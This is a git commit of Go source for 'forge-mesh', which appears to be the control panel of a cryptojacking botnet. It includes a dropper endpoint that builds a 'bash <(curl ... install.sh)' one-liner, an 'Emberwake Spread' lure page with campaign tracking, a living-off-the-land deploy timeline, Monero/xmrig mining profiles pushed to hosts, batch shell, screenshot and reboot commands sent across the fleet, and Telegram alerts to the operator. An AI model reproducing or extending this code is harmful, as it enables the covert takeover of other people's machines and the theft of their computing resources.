Initial commit: AetherForge Linux (forge-mesh) v0.1.0-dev
Some checks failed
Test / test (push) Has been cancelled
Some checks failed
Test / test (push) Has been cancelled
This commit is contained in:
98
internal/alerts/telegram.go
Normal file
98
internal/alerts/telegram.go
Normal file
@@ -0,0 +1,98 @@
|
||||
package alerts
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"log"
|
||||
"net/http"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
// Config holds Telegram bot settings from config.json.
|
||||
type Config struct {
|
||||
Enabled bool `json:"enabled"`
|
||||
BotToken string `json:"bot_token"`
|
||||
ChatID string `json:"chat_id"`
|
||||
}
|
||||
|
||||
// Notifier sends operator alerts via Telegram Bot API.
|
||||
type Notifier struct {
|
||||
cfg Config
|
||||
client *http.Client
|
||||
mu sync.Mutex
|
||||
last time.Time
|
||||
}
|
||||
|
||||
func New(cfg Config) *Notifier {
|
||||
return &Notifier{
|
||||
cfg: cfg,
|
||||
client: &http.Client{
|
||||
Timeout: 10 * time.Second,
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
// Enabled reports whether Telegram alerts are configured.
|
||||
func (n *Notifier) Enabled() bool {
|
||||
return n != nil && n.cfg.Enabled && n.cfg.BotToken != "" && n.cfg.ChatID != ""
|
||||
}
|
||||
|
||||
// Send posts a message to the configured chat (best-effort, non-blocking caller).
|
||||
func (n *Notifier) Send(text string) {
|
||||
if !n.Enabled() {
|
||||
return
|
||||
}
|
||||
|
||||
go func() {
|
||||
if err := n.sendSync(text); err != nil {
|
||||
log.Printf("telegram alert: %v", err)
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
func (n *Notifier) sendSync(text string) error {
|
||||
n.mu.Lock()
|
||||
if time.Since(n.last) < 500*time.Millisecond {
|
||||
n.mu.Unlock()
|
||||
time.Sleep(500 * time.Millisecond)
|
||||
n.mu.Lock()
|
||||
}
|
||||
n.last = time.Now()
|
||||
n.mu.Unlock()
|
||||
|
||||
url := fmt.Sprintf("https://api.telegram.org/bot%s/sendMessage", n.cfg.BotToken)
|
||||
body, _ := json.Marshal(map[string]string{
|
||||
"chat_id": n.cfg.ChatID,
|
||||
"text": text,
|
||||
"parse_mode": "Markdown",
|
||||
})
|
||||
|
||||
req, err := http.NewRequest(http.MethodPost, url, bytes.NewReader(body))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
req.Header.Set("Content-Type", "application/json")
|
||||
|
||||
resp, err := n.client.Do(req)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
if resp.StatusCode >= 300 {
|
||||
return fmt.Errorf("telegram API status %d", resp.StatusCode)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// FleetEvent formats a fleet alert message.
|
||||
func FleetEvent(action, hostID, detail string) string {
|
||||
return fmt.Sprintf("🔧 *forge-mesh* · `%s`\nhost: `%s`\n%s", action, hostID, detail)
|
||||
}
|
||||
|
||||
// CrucibleEvent formats a batch terminal alert.
|
||||
func CrucibleEvent(jobID string, hostCount int, cmd string) string {
|
||||
return fmt.Sprintf("⚗️ *crucible batch* · `%s`\nhosts: %d\ncmd: `%s`", jobID, hostCount, cmd)
|
||||
}
|
||||
28
internal/api/handlers/auth.go
Normal file
28
internal/api/handlers/auth.go
Normal file
@@ -0,0 +1,28 @@
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
|
||||
"forge-mesh/internal/auth"
|
||||
)
|
||||
|
||||
// AuthHandlers serves login and WS ticket endpoints.
|
||||
type AuthHandlers struct {
|
||||
Tickets *auth.TicketStore
|
||||
}
|
||||
|
||||
func (h *AuthHandlers) WSTicket(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method != http.MethodPost {
|
||||
http.Error(w, "method not allowed", http.StatusMethodNotAllowed)
|
||||
return
|
||||
}
|
||||
|
||||
ticket, err := h.Tickets.Issue()
|
||||
if err != nil {
|
||||
http.Error(w, "ticket error", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
_ = json.NewEncoder(w).Encode(map[string]string{"ticket": ticket})
|
||||
}
|
||||
136
internal/api/handlers/crucible.go
Normal file
136
internal/api/handlers/crucible.go
Normal file
@@ -0,0 +1,136 @@
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"strings"
|
||||
|
||||
"forge-mesh/internal/alerts"
|
||||
"forge-mesh/internal/auth"
|
||||
"forge-mesh/internal/fleet"
|
||||
)
|
||||
|
||||
// CrucibleHandler serves batch terminal endpoints.
|
||||
type CrucibleHandler struct {
|
||||
Store *fleet.Store
|
||||
Hub *fleet.Hub
|
||||
Crucible *fleet.CrucibleStore
|
||||
Alerts *alerts.Notifier
|
||||
OperatorClearance int
|
||||
}
|
||||
|
||||
type batchRequest struct {
|
||||
Command string `json:"command"`
|
||||
HostIDs []string `json:"host_ids"`
|
||||
All bool `json:"all"`
|
||||
}
|
||||
|
||||
func (h *CrucibleHandler) Dispatch(w http.ResponseWriter, r *http.Request) {
|
||||
if err := fleet.CheckAction(h.OperatorClearance, fleet.ActionCrucible); err != nil {
|
||||
auth.JSON(w, http.StatusForbidden, map[string]any{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
var req batchRequest
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "bad request", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
req.Command = strings.TrimSpace(req.Command)
|
||||
if req.Command == "" {
|
||||
http.Error(w, "command required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
hostIDs := req.HostIDs
|
||||
if req.All || len(hostIDs) == 0 {
|
||||
hosts, err := h.Store.ListHosts()
|
||||
if err != nil {
|
||||
http.Error(w, "internal error", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
for _, host := range hosts {
|
||||
if host.Status == "online" || host.Status == "mining" {
|
||||
hostIDs = append(hostIDs, host.ID)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
job := h.Crucible.Create(req.Command, hostIDs)
|
||||
action := mapCommandToAction(req.Command)
|
||||
|
||||
for _, hostID := range hostIDs {
|
||||
host, _ := h.Store.GetHost(hostID)
|
||||
hostname := hostID
|
||||
if host != nil {
|
||||
hostname = host.Hostname
|
||||
}
|
||||
|
||||
if err := fleet.CheckAction(h.OperatorClearance, action); err != nil {
|
||||
h.Crucible.AddResult(job.ID, fleet.BatchResult{
|
||||
HostID: hostID, Hostname: hostname,
|
||||
Status: "denied", Message: err.Error(),
|
||||
})
|
||||
continue
|
||||
}
|
||||
|
||||
cmd, err := h.Hub.DispatchCommand(hostID, action, map[string]any{"raw": req.Command})
|
||||
if err != nil {
|
||||
h.Crucible.AddResult(job.ID, fleet.BatchResult{
|
||||
HostID: hostID, Hostname: hostname,
|
||||
Status: "error", Message: err.Error(),
|
||||
})
|
||||
continue
|
||||
}
|
||||
|
||||
h.Crucible.AddResult(job.ID, fleet.BatchResult{
|
||||
HostID: hostID, Hostname: hostname,
|
||||
Status: "dispatched", CommandID: cmd.ID,
|
||||
})
|
||||
}
|
||||
|
||||
h.Crucible.Complete(job.ID, "completed")
|
||||
|
||||
if h.Alerts != nil && h.Alerts.Enabled() {
|
||||
h.Alerts.Send(alerts.CrucibleEvent(job.ID, len(hostIDs), req.Command))
|
||||
}
|
||||
|
||||
_ = h.Store.InsertSeerEvent("", "crucible", fmt.Sprintf(`{"job_id":"%s","command":%q}`, job.ID, req.Command))
|
||||
|
||||
auth.JSON(w, http.StatusOK, job)
|
||||
}
|
||||
|
||||
func (h *CrucibleHandler) GetJob(w http.ResponseWriter, r *http.Request) {
|
||||
id := r.PathValue("id")
|
||||
job, ok := h.Crucible.Get(id)
|
||||
if !ok {
|
||||
http.Error(w, "not found", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
auth.JSON(w, http.StatusOK, job)
|
||||
}
|
||||
|
||||
func (h *CrucibleHandler) History(w http.ResponseWriter, r *http.Request) {
|
||||
auth.JSON(w, http.StatusOK, map[string]any{
|
||||
"jobs": h.Crucible.History(20),
|
||||
})
|
||||
}
|
||||
|
||||
func mapCommandToAction(cmd string) string {
|
||||
lower := strings.ToLower(strings.TrimSpace(cmd))
|
||||
switch {
|
||||
case strings.HasPrefix(lower, "pause"):
|
||||
return fleet.ActionPause
|
||||
case strings.HasPrefix(lower, "resume"):
|
||||
return fleet.ActionResume
|
||||
case strings.HasPrefix(lower, "reboot"):
|
||||
return fleet.ActionReboot
|
||||
case strings.HasPrefix(lower, "screenshot"):
|
||||
return fleet.ActionScreenshot
|
||||
case strings.HasPrefix(lower, "shell"):
|
||||
return fleet.ActionShell
|
||||
default:
|
||||
return fleet.ActionStatus
|
||||
}
|
||||
}
|
||||
62
internal/api/handlers/dropper.go
Normal file
62
internal/api/handlers/dropper.go
Normal file
@@ -0,0 +1,62 @@
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"fmt"
|
||||
"net/http"
|
||||
|
||||
"forge-mesh/internal/auth"
|
||||
"forge-mesh/internal/forge"
|
||||
)
|
||||
|
||||
// DropperHandler serves the dropper URL and one-liner info to the operator.
|
||||
type DropperHandler struct {
|
||||
DB *sql.DB
|
||||
PublicKeyHex string
|
||||
FleetSecret string
|
||||
Version string
|
||||
}
|
||||
|
||||
type DropperInfo struct {
|
||||
DropperURL string `json:"dropper_url"`
|
||||
InstallURL string `json:"install_url"`
|
||||
OneLiner string `json:"one_liner"`
|
||||
FleetSecret string `json:"fleet_secret"`
|
||||
PublicKey string `json:"public_key"`
|
||||
HasBuild bool `json:"has_build"`
|
||||
Version string `json:"version"`
|
||||
}
|
||||
|
||||
func deckURL(r *http.Request) string {
|
||||
scheme := "http"
|
||||
if r.TLS != nil || r.Header.Get("X-Forwarded-Proto") == "https" {
|
||||
scheme = "https"
|
||||
}
|
||||
return fmt.Sprintf("%s://%s", scheme, r.Host)
|
||||
}
|
||||
|
||||
// Info handles GET /api/v1/dropper — returns dropper link, one-liner, and build status.
|
||||
func (h *DropperHandler) Info(w http.ResponseWriter, r *http.Request) {
|
||||
base := deckURL(r)
|
||||
installURL := base + "/install.sh"
|
||||
dropperURL := base + "/get"
|
||||
|
||||
oneLiner := fmt.Sprintf(
|
||||
"FORGE_MESH_FLEET_SECRET=%s bash <(curl -fsSL %s)",
|
||||
h.FleetSecret, installURL,
|
||||
)
|
||||
|
||||
// Check whether a public build exists so the UI can warn if not.
|
||||
_, err := forge.LatestPublic(h.DB, "linux", "amd64")
|
||||
hasBuild := err == nil
|
||||
|
||||
auth.JSON(w, http.StatusOK, DropperInfo{
|
||||
DropperURL: dropperURL,
|
||||
InstallURL: installURL,
|
||||
OneLiner: oneLiner,
|
||||
FleetSecret: h.FleetSecret,
|
||||
PublicKey: h.PublicKeyHex,
|
||||
HasBuild: hasBuild,
|
||||
Version: h.Version,
|
||||
})
|
||||
}
|
||||
532
internal/api/handlers/extended.go
Normal file
532
internal/api/handlers/extended.go
Normal file
@@ -0,0 +1,532 @@
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"context"
|
||||
"database/sql"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"forge-mesh/internal/api/types"
|
||||
"forge-mesh/internal/auth"
|
||||
"forge-mesh/internal/config"
|
||||
"forge-mesh/internal/erasure"
|
||||
"forge-mesh/internal/fleet"
|
||||
"forge-mesh/internal/policy"
|
||||
|
||||
"github.com/google/uuid"
|
||||
)
|
||||
|
||||
// ErasureHandler serves public erasure shard endpoints.
|
||||
type ErasureHandler struct {
|
||||
Service *erasure.Service
|
||||
}
|
||||
|
||||
func (h *ErasureHandler) GetBundle(w http.ResponseWriter, r *http.Request) {
|
||||
bundleID := r.PathValue("bundle_id")
|
||||
if bundleID == "" {
|
||||
http.Error(w, "bundle_id required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
bundle, err := h.Service.GetBundle(r.Context(), bundleID)
|
||||
if err != nil {
|
||||
if err == sql.ErrNoRows {
|
||||
http.Error(w, "not found", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
http.Error(w, "internal error", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
indices, _ := h.Service.ListShards(r.Context(), bundleID)
|
||||
auth.JSON(w, http.StatusOK, map[string]any{
|
||||
"bundle": bundle,
|
||||
"shards": indices,
|
||||
})
|
||||
}
|
||||
|
||||
func (h *ErasureHandler) GetShard(w http.ResponseWriter, r *http.Request) {
|
||||
bundleID := r.PathValue("bundle_id")
|
||||
indexStr := r.PathValue("index")
|
||||
if bundleID == "" || indexStr == "" {
|
||||
http.Error(w, "bundle_id and index required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
var index int
|
||||
if _, err := fmt.Sscanf(indexStr, "%d", &index); err != nil {
|
||||
http.Error(w, "invalid shard index", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
shard, err := h.Service.GetShard(r.Context(), bundleID, index)
|
||||
if err != nil {
|
||||
if err == sql.ErrNoRows {
|
||||
http.Error(w, "not found", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
http.Error(w, "internal error", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
auth.JSON(w, http.StatusOK, map[string]any{
|
||||
"bundle_id": shard.BundleID,
|
||||
"shard_index": shard.ShardIndex,
|
||||
"hex": shard.Hex,
|
||||
})
|
||||
}
|
||||
|
||||
// PolicySnapshotHandler serves degraded-agent policy snapshots.
|
||||
type PolicySnapshotHandler struct {
|
||||
DB *sql.DB
|
||||
}
|
||||
|
||||
// Create handles POST /api/v1/policy/snapshot (protected).
|
||||
func (h *PolicySnapshotHandler) Create(w http.ResponseWriter, r *http.Request) {
|
||||
policy := map[string]any{
|
||||
"wallet_policy": map[string]string{"currency": "XMR"},
|
||||
"policy_from_server": true,
|
||||
"version": "1",
|
||||
}
|
||||
raw, _ := json.Marshal(policy)
|
||||
token := uuid.NewString()
|
||||
if err := SeedPolicySnapshot(r.Context(), h.DB, token, string(raw)); err != nil {
|
||||
http.Error(w, "snapshot failed", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
auth.JSON(w, http.StatusOK, map[string]any{
|
||||
"token": token,
|
||||
"url": "/api/v1/public/policy-snapshot/" + token,
|
||||
})
|
||||
}
|
||||
|
||||
func (h *PolicySnapshotHandler) Get(w http.ResponseWriter, r *http.Request) {
|
||||
token := r.PathValue("token")
|
||||
if token == "" {
|
||||
http.Error(w, "token required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
var policyJSON string
|
||||
var expires sql.NullString
|
||||
err := h.DB.QueryRowContext(r.Context(), `
|
||||
SELECT policy_json, expires_at FROM policy_snapshots WHERE token = ?`, token).
|
||||
Scan(&policyJSON, &expires)
|
||||
if err != nil {
|
||||
if err == sql.ErrNoRows {
|
||||
http.Error(w, "not found", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
http.Error(w, "internal error", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
if expires.Valid && expires.String != "" {
|
||||
if t, err := time.Parse("2006-01-02 15:04:05", expires.String); err == nil && time.Now().After(t) {
|
||||
http.Error(w, "expired", http.StatusGone)
|
||||
return
|
||||
}
|
||||
}
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte(policyJSON))
|
||||
}
|
||||
|
||||
// TrackCampaign handles GET /api/v1/public/campaign/track?c=CODE.
|
||||
func TrackCampaign(db *sql.DB) http.HandlerFunc {
|
||||
return func(w http.ResponseWriter, r *http.Request) {
|
||||
code := r.URL.Query().Get("c")
|
||||
if code == "" {
|
||||
http.Error(w, "c required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
trackCampaignHeat(r.Context(), db, code)
|
||||
auth.JSON(w, http.StatusOK, map[string]any{"code": code, "tracked": true})
|
||||
}
|
||||
}
|
||||
|
||||
// SpreadLander serves the Emberwake public funnel page with ?c= heat tracking.
|
||||
func SpreadLander(db *sql.DB) http.HandlerFunc {
|
||||
return func(w http.ResponseWriter, r *http.Request) {
|
||||
campaign := r.URL.Query().Get("c")
|
||||
if campaign != "" {
|
||||
trackCampaignHeat(r.Context(), db, campaign)
|
||||
}
|
||||
w.Header().Set("Content-Type", "text/html; charset=utf-8")
|
||||
install := "/install.sh"
|
||||
if campaign != "" {
|
||||
install += "?c=" + campaign
|
||||
}
|
||||
fmt.Fprintf(w, `<!DOCTYPE html><html><head><title>Forge Mesh Spread</title>
|
||||
<meta charset="utf-8"><style>body{font-family:system-ui;background:#0a0e14;color:#e6edf3;padding:2rem;max-width:640px;margin:auto}
|
||||
a{color:#58d1ff}</style></head>
|
||||
<body><h1>Emberwake Spread</h1><p>Campaign: <strong>%s</strong></p>
|
||||
<p><a href="%s">Summon enrolled agent</a></p></body></html>`, campaign, install)
|
||||
}
|
||||
}
|
||||
|
||||
func trackCampaignHeat(ctx context.Context, db *sql.DB, code string) {
|
||||
if db == nil || code == "" {
|
||||
return
|
||||
}
|
||||
var id string
|
||||
err := db.QueryRowContext(ctx, `SELECT id FROM campaigns WHERE code = ?`, code).Scan(&id)
|
||||
if err == sql.ErrNoRows {
|
||||
_, _ = db.ExecContext(ctx, `INSERT INTO campaigns (id, code, name, heat) VALUES (?, ?, ?, 1)`,
|
||||
uuid.NewString(), code, code)
|
||||
return
|
||||
}
|
||||
if err == nil {
|
||||
_, _ = db.ExecContext(ctx, `UPDATE campaigns SET heat = heat + 1 WHERE id = ?`, id)
|
||||
}
|
||||
}
|
||||
|
||||
// WarRoomHandler serves campaign heat dashboards.
|
||||
type WarRoomHandler struct {
|
||||
DB *sql.DB
|
||||
}
|
||||
|
||||
func (h *WarRoomHandler) ListCampaigns(w http.ResponseWriter, r *http.Request) {
|
||||
rows, err := h.DB.QueryContext(r.Context(), `
|
||||
SELECT id, code, name, COALESCE(pin,''), heat, created_at
|
||||
FROM campaigns ORDER BY heat DESC, created_at DESC LIMIT 100`)
|
||||
if err != nil {
|
||||
http.Error(w, "internal error", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var campaigns []types.Campaign
|
||||
for rows.Next() {
|
||||
var c types.Campaign
|
||||
var created string
|
||||
if err := rows.Scan(&c.ID, &c.Code, &c.Name, &c.Pin, &c.Heat, &created); err != nil {
|
||||
http.Error(w, "internal error", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
c.CreatedAt, _ = time.Parse("2006-01-02 15:04:05", created)
|
||||
campaigns = append(campaigns, c)
|
||||
}
|
||||
if campaigns == nil {
|
||||
campaigns = []types.Campaign{}
|
||||
}
|
||||
auth.JSON(w, http.StatusOK, map[string]any{"campaigns": campaigns})
|
||||
}
|
||||
|
||||
// WireGuardHandler manages mesh peer records (operator-managed configs).
|
||||
type WireGuardHandler struct {
|
||||
DB *sql.DB
|
||||
}
|
||||
|
||||
func (h *WireGuardHandler) ListPeers(w http.ResponseWriter, r *http.Request) {
|
||||
rows, err := h.DB.QueryContext(r.Context(), `
|
||||
SELECT id, COALESCE(host_id,''), public_key, COALESCE(endpoint,''), allowed_ips, created_at
|
||||
FROM wireguard_peers ORDER BY created_at DESC LIMIT 100`)
|
||||
if err != nil {
|
||||
http.Error(w, "internal error", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
type peer struct {
|
||||
ID string `json:"id"`
|
||||
HostID string `json:"host_id,omitempty"`
|
||||
PublicKey string `json:"public_key"`
|
||||
Endpoint string `json:"endpoint,omitempty"`
|
||||
AllowedIPs string `json:"allowed_ips"`
|
||||
CreatedAt string `json:"created_at"`
|
||||
}
|
||||
var peers []peer
|
||||
for rows.Next() {
|
||||
var p peer
|
||||
if err := rows.Scan(&p.ID, &p.HostID, &p.PublicKey, &p.Endpoint, &p.AllowedIPs, &p.CreatedAt); err != nil {
|
||||
http.Error(w, "internal error", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
peers = append(peers, p)
|
||||
}
|
||||
if peers == nil {
|
||||
peers = []peer{}
|
||||
}
|
||||
auth.JSON(w, http.StatusOK, map[string]any{"peers": peers})
|
||||
}
|
||||
|
||||
func (h *WireGuardHandler) CreatePeer(w http.ResponseWriter, r *http.Request) {
|
||||
var req struct {
|
||||
HostID string `json:"host_id"`
|
||||
PublicKey string `json:"public_key"`
|
||||
Endpoint string `json:"endpoint"`
|
||||
AllowedIPs string `json:"allowed_ips"`
|
||||
}
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "bad request", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if req.PublicKey == "" {
|
||||
http.Error(w, "public_key required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if req.AllowedIPs == "" {
|
||||
req.AllowedIPs = "10.66.66.2/32"
|
||||
}
|
||||
id := uuid.NewString()
|
||||
_, err := h.DB.ExecContext(r.Context(), `
|
||||
INSERT INTO wireguard_peers (id, host_id, public_key, endpoint, allowed_ips)
|
||||
VALUES (?, ?, ?, ?, ?)`,
|
||||
id, nullIfEmpty(req.HostID), req.PublicKey, nullIfEmpty(req.Endpoint), req.AllowedIPs)
|
||||
if err != nil {
|
||||
http.Error(w, "create failed", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
auth.JSON(w, http.StatusCreated, map[string]any{
|
||||
"id": id,
|
||||
"host_id": req.HostID,
|
||||
"public_key": req.PublicKey,
|
||||
"endpoint": req.Endpoint,
|
||||
"allowed_ips": req.AllowedIPs,
|
||||
})
|
||||
}
|
||||
|
||||
// RenderConfig handles GET /api/v1/wireguard/config — wg-quick template for operators.
|
||||
func (h *WireGuardHandler) RenderConfig(w http.ResponseWriter, r *http.Request) {
|
||||
rows, err := h.DB.QueryContext(r.Context(), `
|
||||
SELECT public_key, COALESCE(endpoint,''), allowed_ips FROM wireguard_peers ORDER BY created_at`)
|
||||
if err != nil {
|
||||
http.Error(w, "internal error", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var buf strings.Builder
|
||||
buf.WriteString("[Interface]\nPrivateKey = <operator-private-key>\nAddress = 10.66.66.1/24\nListenPort = 51820\n\n")
|
||||
for rows.Next() {
|
||||
var pub, endpoint, allowed string
|
||||
if err := rows.Scan(&pub, &endpoint, &allowed); err != nil {
|
||||
continue
|
||||
}
|
||||
buf.WriteString("[Peer]\n")
|
||||
fmt.Fprintf(&buf, "PublicKey = %s\n", pub)
|
||||
if endpoint != "" {
|
||||
fmt.Fprintf(&buf, "Endpoint = %s\n", endpoint)
|
||||
}
|
||||
fmt.Fprintf(&buf, "AllowedIPs = %s\n\n", allowed)
|
||||
}
|
||||
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
|
||||
_, _ = w.Write([]byte(buf.String()))
|
||||
}
|
||||
|
||||
func nullIfEmpty(s string) sql.NullString {
|
||||
if s == "" {
|
||||
return sql.NullString{}
|
||||
}
|
||||
return sql.NullString{String: s, Valid: true}
|
||||
}
|
||||
|
||||
// LOTLTimeline returns deploy audit entries for a host.
|
||||
func (h *FleetHandler) LOTLTimeline(w http.ResponseWriter, r *http.Request) {
|
||||
hostID := r.PathValue("id")
|
||||
if hostID == "" {
|
||||
http.Error(w, "host id required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
attempts, err := h.Store.ListLOTL(r.Context(), hostID, 100)
|
||||
if err != nil {
|
||||
http.Error(w, "internal error", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
auth.JSON(w, http.StatusOK, map[string]any{
|
||||
"host_id": hostID,
|
||||
"timeline": attempts,
|
||||
})
|
||||
}
|
||||
|
||||
// PushMiningProfile assigns a mining profile to a host.
|
||||
func (h *FleetHandler) PushMiningProfile(w http.ResponseWriter, r *http.Request) {
|
||||
hostID := r.PathValue("id")
|
||||
if hostID == "" {
|
||||
http.Error(w, "host id required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
var req types.MiningProfileRequest
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "bad request", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if req.WalletAddress == "" {
|
||||
http.Error(w, "wallet_address required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
profileID := req.ProfileID
|
||||
if profileID == "" {
|
||||
profileID = uuid.NewString()
|
||||
}
|
||||
name := req.Name
|
||||
if name == "" {
|
||||
name = "Fleet mining profile"
|
||||
}
|
||||
tiers := req.Tiers
|
||||
if len(tiers) == 0 {
|
||||
tiers = policy.DefaultMiningProfile(req.WalletAddress).Tiers
|
||||
}
|
||||
|
||||
profile := &types.MiningProfile{
|
||||
ID: profileID,
|
||||
Name: name,
|
||||
WalletAddress: req.WalletAddress,
|
||||
Tiers: tiers,
|
||||
PolicyFromServer: true,
|
||||
CreatedAt: time.Now().UTC(),
|
||||
UpdatedAt: time.Now().UTC(),
|
||||
}
|
||||
|
||||
ctx := r.Context()
|
||||
if err := h.Store.SaveMiningProfile(ctx, profile); err != nil {
|
||||
http.Error(w, "save profile failed", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
if err := h.Store.AssignMiningProfile(ctx, hostID, profileID); err != nil {
|
||||
http.Error(w, "assign profile failed", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
_, _ = h.Hub.DispatchCommand(hostID, "mining_profile", map[string]any{"profile": profile})
|
||||
|
||||
auth.JSON(w, http.StatusOK, map[string]any{
|
||||
"ok": true,
|
||||
"host_id": hostID,
|
||||
"profile": profile,
|
||||
})
|
||||
}
|
||||
|
||||
// HostAction is an alias for fleet command dispatch (plan parity).
|
||||
func (h *FleetHandler) HostAction(w http.ResponseWriter, r *http.Request) {
|
||||
h.Command(w, r)
|
||||
}
|
||||
|
||||
// CalibrateProfiles returns default mining tier profiles.
|
||||
func CalibrateProfiles(cfg *config.Config) http.HandlerFunc {
|
||||
return func(w http.ResponseWriter, r *http.Request) {
|
||||
auth.JSON(w, http.StatusOK, map[string]any{
|
||||
"profiles": []map[string]any{
|
||||
{
|
||||
"id": "default-xmr",
|
||||
"name": "Default XMR Chain",
|
||||
"wallet_address": cfg.WalletPolicy.DefaultWallet,
|
||||
"policy_from_server": true,
|
||||
"tiers": []map[string]any{
|
||||
{"type": "oci", "duration_minutes": 5},
|
||||
{"type": "xmrig", "duration_minutes": 15},
|
||||
{"type": "gpu", "duration_minutes": 10},
|
||||
},
|
||||
},
|
||||
},
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// SeerAPIStream serves GET /api/v1/seer (plan parity alias).
|
||||
func SeerAPIStream(store *fleet.Store, username, password string) http.HandlerFunc {
|
||||
h := &SeerHandler{Store: store, Username: username, Password: password}
|
||||
return h.Stream
|
||||
}
|
||||
|
||||
// SeedPolicySnapshot inserts a test policy snapshot token.
|
||||
func SeedPolicySnapshot(ctx context.Context, db *sql.DB, token, policyJSON string) error {
|
||||
_, err := db.ExecContext(ctx, `
|
||||
INSERT OR REPLACE INTO policy_snapshots (token, policy_json, expires_at)
|
||||
VALUES (?, ?, datetime('now', '+1 day'))`, token, policyJSON)
|
||||
return err
|
||||
}
|
||||
|
||||
// SeedCampaign inserts a war-room campaign row.
|
||||
func SeedCampaign(ctx context.Context, db *sql.DB, code, name string, heat int) error {
|
||||
_, err := db.ExecContext(ctx, `
|
||||
INSERT OR REPLACE INTO campaigns (id, code, name, heat)
|
||||
VALUES (?, ?, ?, ?)`, uuid.NewString(), code, name, heat)
|
||||
return err
|
||||
}
|
||||
|
||||
// PublicBuildsList lists public build metadata.
|
||||
func PublicBuildsList(db *sql.DB) http.HandlerFunc {
|
||||
return func(w http.ResponseWriter, r *http.Request) {
|
||||
rows, err := db.QueryContext(r.Context(), `
|
||||
SELECT id, os, arch, version, checksum, public
|
||||
FROM builds WHERE public = 1 ORDER BY created_at DESC LIMIT 20`)
|
||||
if err != nil {
|
||||
http.Error(w, "internal error", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
type row struct {
|
||||
ID string `json:"id"`
|
||||
OS string `json:"os"`
|
||||
Arch string `json:"arch"`
|
||||
Version string `json:"version"`
|
||||
Checksum string `json:"checksum"`
|
||||
Download string `json:"download_url"`
|
||||
}
|
||||
var builds []row
|
||||
for rows.Next() {
|
||||
var b row
|
||||
var pub int
|
||||
if err := rows.Scan(&b.ID, &b.OS, &b.Arch, &b.Version, &b.Checksum, &pub); err != nil {
|
||||
http.Error(w, "internal error", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
b.Download = "/api/v1/public/download/" + b.ID
|
||||
builds = append(builds, b)
|
||||
}
|
||||
if builds == nil {
|
||||
builds = []row{}
|
||||
}
|
||||
auth.JSON(w, http.StatusOK, map[string]any{"builds": builds})
|
||||
}
|
||||
}
|
||||
|
||||
// CrucibleLegacy wraps CrucibleHandler for plan route names.
|
||||
type CrucibleLegacy struct {
|
||||
*CrucibleHandler
|
||||
}
|
||||
|
||||
func (c *CrucibleLegacy) Batch(w http.ResponseWriter, r *http.Request) {
|
||||
c.Dispatch(w, r)
|
||||
}
|
||||
|
||||
func (c *CrucibleLegacy) BatchGet(w http.ResponseWriter, r *http.Request) {
|
||||
id := r.PathValue("id")
|
||||
if id == "" {
|
||||
id = strings.TrimPrefix(r.URL.Path, "/api/v1/crucible/batch/")
